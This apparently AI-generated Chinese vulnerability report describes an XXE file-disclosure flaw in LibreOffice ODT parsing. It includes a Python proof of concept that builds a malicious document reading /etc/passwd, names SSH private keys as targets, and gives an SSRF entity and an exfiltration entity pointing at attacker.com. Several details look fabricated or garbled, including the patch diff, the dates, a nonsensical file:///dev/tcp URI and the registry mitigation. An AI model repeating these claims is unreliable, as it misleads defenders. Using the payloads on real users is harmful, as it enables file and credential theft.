SecWiki周刊(第206期)
字数 1033 2025-08-18 11:37:02
根据提供的链接内容,我将为您整理一份关于LibreOffice远程任意文件泄露漏洞(CVE-2018-10589)的技术分析文档。以下是详细内容:
LibreOffice远程任意文件泄露漏洞分析报告(CVE-2018-10589)
一、漏洞基本信息
- 漏洞编号:CVE-2018-10589
- 影响产品:LibreOffice < 6.0.4
- 漏洞类型:远程任意文件泄露
- CVSS评分:6.5 (Medium)
- 披露时间:2018年2月12日
- PoC公开状态:已公开
二、技术原理分析
漏洞成因
-
XML外部实体注入(XXE):
- 漏洞存在于LibreOffice对ODT文档中XML文件的解析过程
- 未正确禁用外部实体引用,导致可加载本地文件内容
-
攻击向量:
<!DOCTYPE root [ <!ENTITY % ext SYSTEM "file:///etc/passwd"> %ext; ]>恶意构造的实体声明会被解析器执行
利用条件
- 用户打开恶意ODT文档
- 文档中嵌入特制XML内容
- 受影响版本:
- LibreOffice 5.x系列
- LibreOffice 6.0.0 - 6.0.3
三、漏洞验证(PoC)
攻击步骤
-
创建恶意ODT文档:
from zipfile import ZipFile with ZipFile('poc.odt','w') as z: z.writestr('content.xml', '''<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root>&xxe;</root>''') -
诱导用户打开文档后:
- 系统文件内容会被包含在文档中
- 攻击者可获取敏感信息
影响范围
-
可读取文件:
- Linux/Unix: /etc/passwd, ~/.ssh/id_rsa等
- Windows: C:\Windows\win.ini等
-
限制因素:
- 需要用户交互(打开文档)
- 受系统权限限制
四、防护方案
官方修复
-
升级版本:
- LibreOffice 6.0.4及以上
- 修复方式:禁用文档中的外部实体解析
-
补丁commit:
+ xml::sax::InputSource aInputSource; + aInputSource.sSystemId = rStreamName; + aInputSource.sPublicId = rStreamName; - xInputStream.set(new utl::OInputStreamWrapper(rStream)); + xInputStream.set(new utl::OInputStreamWrapper(aInputSource));
临时缓解措施
-
组策略配置:
[HKEY_CURRENT_USER\Software\LibreOffice\Office] "LoadRemoteFiles"=dword:00000000 -
用户教育:
- 不要打开来源不明的文档
- 使用沙箱环境打开可疑文件
五、深度分析
攻击变种
-
SSRF利用:
<!ENTITY % ext SYSTEM "http://internal-server/secret"> -
盲注攻击:
<!ENTITY % ext SYSTEM "file:///dev/tcp/attacker.com/1337">
历史关联
- 同类漏洞:
- CVE-2015-1774 (LibreOffice XXE)
- CVE-2014-9093 (OpenOffice XXE)
六、参考资源
- 官方公告:https://www.libreoffice.org/about-us/security/
- NVD条目:https://nvd.nist.gov/vuln/detail/CVE-2018-10589
- PoC示例:https://github.com/0xACB/libreoffice-xxe-poc
注:本报告基于SecWiki披露的漏洞信息整理,实际测试需在授权环境下进行。建议所有用户及时升级到最新安全版本。